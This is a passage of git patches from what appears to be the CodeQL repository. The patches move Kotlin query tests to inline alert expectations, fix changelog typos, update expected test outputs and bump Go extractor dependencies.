{ // $ Alert fn0 { println(d) } } val e = true - while (e) { + while (e) { // $ Alert fn0 { println(e) } diff --git a/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref b/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref index 37e6a9b72fe..f7081322f7d 100644 --- a/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref +++ b/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref @@ -1 +1,2 @@ -Likely Bugs/Termination/ConstantLoopCondition.ql +query: Likely Bugs/Termination/ConstantLoopCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/DeadCode/DeadClass.qlref b/java/ql/test-kotlin2/query-tests/DeadCode/DeadClass.qlref index d726e7e0849..b94832ebfca 100644 --- a/java/ql/test-kotlin2/query-tests/DeadCode/DeadClass.qlref +++ b/java/ql/test-kotlin2/query-tests/DeadCode/DeadClass.qlref @@ -1 +1,2 @@ -DeadCode/DeadClass.ql +query: DeadCode/DeadClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/DeadCode/DeadMethod.qlref b/java/ql/test-kotlin2/query-tests/DeadCode/DeadMethod.qlref index 76204a1df5a..743a5f15775 100644 --- a/java/ql/test-kotlin2/query-tests/DeadCode/DeadMethod.qlref +++ b/java/ql/test-kotlin2/query-tests/DeadCode/DeadMethod.qlref @@ -1 +1,2 @@ -DeadCode/DeadMethod.ql +query: DeadCode/DeadMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.qlref b/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.qlref index 2b925a78cbb..e8f47f2d682 100644 --- a/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.qlref +++ b/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/DeadRefTypes.ql \ No newline at end of file +query: Violations of Best Practice/Dead Code/DeadRefTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/DeadRefTypes/test.kt b/java/ql/test-kotlin2/query-tests/DeadRefTypes/test.kt index 6a38aa0f748..c65e8ab0d58 100644 --- a/java/ql/test-kotlin2/query-tests/DeadRefTypes/test.kt +++ b/java/ql/test-kotlin2/query-tests/DeadRefTypes/test.kt @@ -1,4 +1,4 @@ -private class C1 { } +private class C1 { } // $ Alert private class C2 { } diff --git a/java/ql/test-kotlin2/query-tests/EmptyBlock/EmptyBlock.qlref b/java/ql/test-kotlin2/query-tests/EmptyBlock/EmptyBlock.qlref index b0a56e88aa4..5fe264815b8 100644 --- a/java/ql/test-kotlin2/query-tests/EmptyBlock/EmptyBlock.qlref +++ b/java/ql/test-kotlin2/query-tests/EmptyBlock/EmptyBlock.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/EmptyBlock.ql \ No newline at end of file +query: Likely Bugs/Statements/EmptyBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/ExposeRepresentation/ExposeRepresentation.qlref b/java/ql/test-kotlin2/query-tests/ExposeRepresentation/ExposeRepresentation.qlref index 6452bb942d2..e47d860dcc2 100644 --- a/java/ql/test-kotlin2/query-tests/ExposeRepresentation/ExposeRepresentation.qlref +++ b/java/ql/test-kotlin2/query-tests/ExposeRepresentation/ExposeRepresentation.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Implementation Hiding/ExposeRepresentation.ql +query: Violations of Best Practice/Implementation Hiding/ExposeRepresentation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref b/java/ql/test-kotlin2/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref index 3d3b5444609..68cb3e6761e 100644 --- a/java/ql/test-kotlin2/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref +++ b/java/ql/test-kotlin2/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref @@ -1 +1,2 @@ -Performance/InnerClassCouldBeStatic.ql \ No newline at end of file +query: Performance/InnerClassCouldBeStatic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref b/java/ql/test-kotlin2/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref index 40038cf027a..d1a5c7d8130 100644 --- a/java/ql/test-kotlin2/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref +++ b/java/ql/test-kotlin2/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/MissingInstanceofInEquals.ql \ No newline at end of file +query: Likely Bugs/Comparison/MissingInstanceofInEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref b/java/ql/test-kotlin2/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref index c74780e7d24..885c1312f9e 100644 --- a/java/ql/test-kotlin2/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref +++ b/java/ql/test-kotlin2/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref @@ -1 +1,2 @@ -Advisory/Declarations/MissingOverrideAnnotation.ql \ No newline at end of file +query: Advisory/Declarations/MissingOverrideAnnotation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/MutualDependency/MutualDependency.qlref b/java/ql/test-kotlin2/query-tests/MutualDependency/MutualDependency.qlref index ab1dbe353ef..273ed4d757a 100644 --- a/java/ql/test-kotlin2/query-tests/MutualDependency/MutualDependency.qlref +++ b/java/ql/test-kotlin2/query-tests/MutualDependency/MutualDependency.qlref @@ -1 +1,2 @@ -Architecture/Dependencies/MutualDependency.ql \ No newline at end of file +query: Architecture/Dependencies/MutualDependency.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref b/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref index 6f76aed32cb..52bea60e468 100644 --- a/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref +++ b/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref @@ -1 +1,2 @@ -Advisory/Naming/NamingConventionsRefTypes.ql \ No newline at end of file +query: Advisory/Naming/NamingConventionsRefTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/Test.kt b/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/Test.kt index f62497d59c6..1374f616316 100644 --- a/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/Test.kt +++ b/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/Test.kt @@ -9,4 +9,4 @@ class Foo { } } -class aaaa {} \ No newline at end of file +class aaaa {} // $ Alert diff --git a/java/ql/test-kotlin2/query-tests/NonSerializableField/NonSerializableField.qlref b/java/ql/test-kotlin2/query-tests/NonSerializableField/NonSerializableField.qlref index 401d63757af..1b3b59559be 100644 --- a/java/ql/test-kotlin2/query-tests/NonSerializableField/NonSerializableField.qlref +++ b/java/ql/test-kotlin2/query-tests/NonSerializableField/NonSerializableField.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/NonSerializableField.ql +query: Likely Bugs/Serialization/NonSerializableField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref b/java/ql/test-kotlin2/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref index 4cbb0995764..0ce5b0819e9 100644 --- a/java/ql/test-kotlin2/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref +++ b/java/ql/test-kotlin2/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/NonSerializableInnerClass.ql +query: Likely Bugs/Serialization/NonSerializableInnerClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/NullMaybe/NullMaybe.qlref b/java/ql/test-kotlin2/query-tests/NullMaybe/NullMaybe.qlref index ab01473d8e5..19125c7bc59 100644 --- a/java/ql/test-kotlin2/query-tests/NullMaybe/NullMaybe.qlref +++ b/java/ql/test-kotlin2/query-tests/NullMaybe/NullMaybe.qlref @@ -1 +1,2 @@ -Likely Bugs/Nullness/NullMaybe.ql +query: Likely Bugs/Nullness/NullMaybe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/OneStatementPerLine/OneStatementPerLine.qlref b/java/ql/test-kotlin2/query-tests/OneStatementPerLine/OneStatementPerLine.qlref index 99f3f3f3293..dbe810b5208 100644 --- a/java/ql/test-kotlin2/query-tests/OneStatementPerLine/OneStatementPerLine.qlref +++ b/java/ql/test-kotlin2/query-tests/OneStatementPerLine/OneStatementPerLine.qlref @@ -1 +1,2 @@ -Advisory/Statements/OneStatementPerLine.ql \ No newline at end of file +query: Advisory/Statements/OneStatementPerLine.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref b/java/ql/test-kotlin2/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref index c2db43d8953..a129d30287b 100644 --- a/java/ql/test-kotlin2/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref +++ b/java/ql/test-kotlin2/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/PartiallyMaskedCatch.ql \ No newline at end of file +query: Likely Bugs/Statements/PartiallyMaskedCatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref b/java/ql/test-kotlin2/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref index ef1dc964d95..ab13392ec55 100644 --- a/java/ql/test-kotlin2/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref +++ b/java/ql/test-kotlin2/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/ReturnValueIgnored.ql \ No newline at end of file +query: Likely Bugs/Statements/ReturnValueIgnored.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref b/java/ql/test-kotlin2/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref index d071e989ebb..45d0db5559c 100644 --- a/java/ql/test-kotlin2/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref +++ b/java/ql/test-kotlin2/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql +query: Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref b/java/ql/test-kotlin2/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref index dbed8c6f411..7aa4b4176e3 100644 --- a/java/ql/test-kotlin2/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref +++ b/java/ql/test-kotlin2/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref @@ -1 +1,2 @@ -Compatibility/JDK9/UnderscoreIdentifier.ql \ No newline at end of file +query: Compatibility/JDK9/UnderscoreIdentifier.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/UnreadLocal/UnreadLocal.qlref b/java/ql/test-kotlin2/query-tests/UnreadLocal/UnreadLocal.qlref index 5a77117711e..dc6fb57ca6a 100644 --- a/java/ql/test-kotlin2/query-tests/UnreadLocal/UnreadLocal.qlref +++ b/java/ql/test-kotlin2/query-tests/UnreadLocal/UnreadLocal.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/UnreadLocal.ql +query: Violations of Best Practice/Dead Code/UnreadLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/UnreadLocal/test.kt b/java/ql/test-kotlin2/query-tests/UnreadLocal/test.kt index e1663d7c116..a7537d128d8 100644 --- a/java/ql/test-kotlin2/query-tests/UnreadLocal/test.kt +++ b/java/ql/test-kotlin2/query-tests/UnreadLocal/test.kt @@ -5,13 +5,13 @@ fun fn0(size: Int) { } fun fn1(a: Array) { - for (e in a) { + for (e in a) { // $ Alert println() } } fun fn2(a: Array) { - for ((idx, e) in a.withIndex()) { + for ((idx, e) in a.withIndex()) { // $ Alert println() } } diff --git a/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt b/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt index 138309dc9de..365eb5083a2 100644 --- a/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt +++ b/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt @@ -13,6 +13,6 @@ fun fn(x:Any?, y: Any?) { fun fn0(o: Any?) { if (o != null) { o?.toString() - o.toString() + o.toString() // $ Alert } } diff --git a/java/ql/test-kotlin2/query-tests/UselessNullCheck/UselessNullCheck.qlref b/java/ql/test-kotlin2/query-tests/UselessNullCheck/UselessNullCheck.qlref index 8b5a095d396..68c4adcf428 100644 --- a/java/ql/test-kotlin2/query-tests/UselessNullCheck/UselessNullCheck.qlref +++ b/java/ql/test-kotlin2/query-tests/UselessNullCheck/UselessNullCheck.qlref @@ -1 +1,2 @@ -Language Abuse/UselessNullCheck.ql +query: Language Abuse/UselessNullCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/UselessParameter/UselessParameter.qlref b/java/ql/test-kotlin2/query-tests/UselessParameter/UselessParameter.qlref index b1ceb2751a6..7de29d4e3f4 100644 --- a/java/ql/test-kotlin2/query-tests/UselessParameter/UselessParameter.qlref +++ b/java/ql/test-kotlin2/query-tests/UselessParameter/UselessParameter.qlref @@ -1 +1,2 @@ -DeadCode/UselessParameter.ql \ No newline at end of file +query: DeadCode/UselessParameter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref b/java/ql/test-kotlin2/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref index e8331b4132f..470fdcfe273 100644 --- a/java/ql/test-kotlin2/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref +++ b/java/ql/test-kotlin2/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/WhitespaceContradictsPrecedence.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/WhitespaceContradictsPrecedence.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql From 838d06c53f0f85042497cf2837eea455b857e9f0 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 4 Jun 2026 18:32:38 +0000 Subject: [PATCH 061/143] Fix changelog copy errors in change-notes and CHANGELOG.md files (codeql-cli-2.25.6) --- actions/ql/lib/CHANGELOG.md | 2 +- actions/ql/lib/change-notes/released/0.4.37.md | 2 +- actions/ql/src/CHANGELOG.md | 2 +- actions/ql/src/change-notes/released/0.6.29.md | 2 +- python/ql/lib/CHANGELOG.md | 2 +- python/ql/lib/change-notes/released/7.1.2.md | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 7a61a60c379..2b79e89d6d1 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -2,7 +2,7 @@ ### Minor Analysis Improvements -* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, include regexes like `^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a sha1 or sha256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. +* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, including regexes like `^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a SHA-1 or SHA-256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. ## 0.4.36 diff --git a/actions/ql/lib/change-notes/released/0.4.37.md b/actions/ql/lib/change-notes/released/0.4.37.md index 4809796b3ab..f1e071571fd 100644 --- a/actions/ql/lib/change-notes/released/0.4.37.md +++ b/actions/ql/lib/change-notes/released/0.4.37.md @@ -2,4 +2,4 @@ ### Minor Analysis Improvements -* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, include regexes like `^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a sha1 or sha256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. +* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, including regexes like `^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a SHA-1 or SHA-256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index c37cd20761b..cc99d741c50 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -15,7 +15,7 @@ ### Bug Fixes -* Adjusted (minor) help file descriptions for queries: `actions/untrusted-checkout/critical`, `actions/untrusted-checkout/high`, `actions/untrusted-checkout/medium`. Clarified wording on in minor point, added one more listed resource and added one more recommendation for things to check. +* Adjusted (minor) help file descriptions for queries: `actions/untrusted-checkout/critical`, `actions/untrusted-checkout/high`, `actions/untrusted-checkout/medium`. Clarified wording on a minor point, added one more listed resource and added one more recommendation for things to check. ## 0.6.28 diff --git a/actions/ql/src/change-notes/released/0.6.29.md b/actions/ql/src/change-notes/released/0.6.29.md index 82ca8174954..70c69f82399 100644 --- a/actions/ql/src/change-notes/released/0.6.29.md +++ b/actions/ql/src/change-notes/released/0.6.29.md @@ -15,4 +15,4 @@ ### Bug Fixes -* Adjusted (minor) help file descriptions for queries: `actions/untrusted-checkout/critical`, `actions/untrusted-checkout/high`, `actions/untrusted-checkout/medium`. Clarified wording on in minor point, added one more listed resource and added one more recommendation for things to check. +* Adjusted (minor) help file descriptions for queries: `actions/untrusted-checkout/critical`, `actions/untrusted-checkout/high`, `actions/untrusted-checkout/medium`. Clarified wording on a minor point, added one more listed resource and added one more recommendation for things to check. diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 3efb4e57482..99e46d2808a 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -2,7 +2,7 @@ ### Minor Analysis Improvements -* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example `py/clear-text-logging-sensitive-data`) may find more correct results and less fewer positive results after these changes. +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example `py/clear-text-logging-sensitive-data`) may find more correct results and fewer false positive results after these changes. ## 7.1.1 diff --git a/python/ql/lib/change-notes/released/7.1.2.md b/python/ql/lib/change-notes/released/7.1.2.md index 523a14edfbe..3be115b9a93 100644 --- a/python/ql/lib/change-notes/released/7.1.2.md +++ b/python/ql/lib/change-notes/released/7.1.2.md @@ -2,4 +2,4 @@ ### Minor Analysis Improvements -* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example `py/clear-text-logging-sensitive-data`) may find more correct results and less fewer positive results after these changes. +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example `py/clear-text-logging-sensitive-data`) may find more correct results and fewer false positive results after these changes. From a4bf2b8f58c97a8fd785ffecc2d5717b9b3246d6 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 11 Jun 2026 22:59:39 +0200 Subject: [PATCH 062/143] Fix 3 tests --- .../query-tests/DeadRefTypes/DeadRefTypes.expected | 2 +- .../NamingConventionsRefTypes.expected | 2 +- java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.expected b/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.expected index b900d5172c8..2cf2b34754e 100644 --- a/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.expected +++ b/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.expected @@ -1 +1 @@ -| test.kt:1:1:1:20 | C1 | Unused class: C1 is not referenced within this codebase. If not used as an external API it should be removed. | +| test.kt:1:1:1:31 | C1 | Unused class: C1 is not referenced within this codebase. If not used as an external API it should be removed. | diff --git a/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected b/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected index ffcd13ccc56..89795785c85 100644 --- a/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected +++ b/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected @@ -1 +1 @@ -| Test.kt:12:1:12:13 | aaaa | Class and interface names should start in uppercase. | +| Test.kt:12:1:12:24 | aaaa | Class and interface names should start in uppercase. | diff --git a/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt b/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt index 365eb5083a2..cca4c6fb51d 100644 --- a/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt +++ b/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt @@ -12,7 +12,7 @@ fun fn(x:Any?, y: Any?) { fun fn0(o: Any?) { if (o != null) { - o?.toString() - o.toString() // $ Alert + o?.toString() // $ Alert + o.toString() } } From 29b0c286a7c98da3431e1b0f230ede466e9a4007 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 11 Jun 2026 23:40:14 +0200 Subject: [PATCH 063/143] Fix 3 more tests --- .../query-tests/DeadRefTypes/DeadRefTypes.expected | 2 +- .../NamingConventionsRefTypes.expected | 2 +- java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.expected b/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.expected index b900d5172c8..2cf2b34754e 100644 --- a/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.expected +++ b/java/ql/test-kotlin2/query-tests/DeadRefTypes/DeadRefTypes.expected @@ -1 +1 @@ -| test.kt:1:1:1:20 | C1 | Unused class: C1 is not referenced within this codebase. If not used as an external API it should be removed. | +| test.kt:1:1:1:31 | C1 | Unused class: C1 is not referenced within this codebase. If not used as an external API it should be removed. | diff --git a/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected b/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected index ffcd13ccc56..89795785c85 100644 --- a/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected +++ b/java/ql/test-kotlin2/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.expected @@ -1 +1 @@ -| Test.kt:12:1:12:13 | aaaa | Class and interface names should start in uppercase. | +| Test.kt:12:1:12:24 | aaaa | Class and interface names should start in uppercase. | diff --git a/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt b/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt index 365eb5083a2..cca4c6fb51d 100644 --- a/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt +++ b/java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt @@ -12,7 +12,7 @@ fun fn(x:Any?, y: Any?) { fun fn0(o: Any?) { if (o != null) { - o?.toString() - o.toString() // $ Alert + o?.toString() // $ Alert + o.toString() } } From de281fc00cdfef102eefdb67d92481fc2bd2e776 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 11 Jun 2026 22:21:25 +0000 Subject: [PATCH 064/143] Initial plan From 1ac079d06674ac797eb62d0097bf9045bc4365b6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 12 Jun 2026 03:03:31 +0000 Subject: [PATCH 065/143] Bump golang.org/x/tools Bumps the extractor-dependencies group in /go/extractor with 1 update: [golang.org/x/tools](https://github.com/golang/tools). Updates `golang.org/x/tools` from 0.45.0 to 0.46.0 - [Release notes](https://github.com/golang/tools/releases) - [Commits](https://github.com/golang/tools/compare/v0.45.0...v0.46.0) --- updated-dependencies: - dependency-name: golang.org/x/tools dependency-version: 0.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies ... Signed-off-by: dependabot[bot] --- go/extractor/go.mod | 4 ++-- go/extractor/go.sum | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/go/extractor/go.mod b/go/extractor/go.mod index 04abf5cdbe5..5de56683a3e 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -10,7 +10,7 @@ toolchain go1.26.4 // bazel mod tidy require ( golang.org/x/mod v0.37.0 - golang.org/x/tools v0.45.0 + golang.org/x/tools v0.46.0 ) require github.com/stretchr/testify v1.11.1 @@ -18,6 +18,6 @@ require github.com/stretchr/testify v1.11.1 require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect - golang.org/x/sync v0.20.0 // indirect + golang.org/x/sync v0.21.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 86c3e7b5f11..55bcadfe98a 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -8,10 +8,10 @@ github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ= golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0= -golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= -golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= -golang.org/x/tools v0.45.0 h1:18qN3FAooORvApf5XjCXgsuayZOEtXf6JK18I3+ONa8= -golang.org/x/tools v0.45.0/go.mod h1:LuUGqqaXcXMEFEruIVJVm5mgDD8vww/z/SR1gQ4uE/0= +golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM= +golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/tools v0.46.0 h1:7jTurBkPZu4moS/Uy4OQT1M+QBlsj3wejyZwsT8Z7rk= +golang.org/x/tools v0.46.0/go.mod h1:FrD85F8l+NWL+9XWBSyVSHO6Ne4jutsfIFba7AWQ5Ys= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= From 9078b511c678a5b6db9135b3c2d6563c4faa5038 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= Date: Fri, 12 Jun 2026 09:37:18 +0300 Subject: [PATCH 066/143] Update regex for GitHub hosted runner matching Fixes false positives (of critical severity). New label naming conventions were introduced since the query was initially written. --- 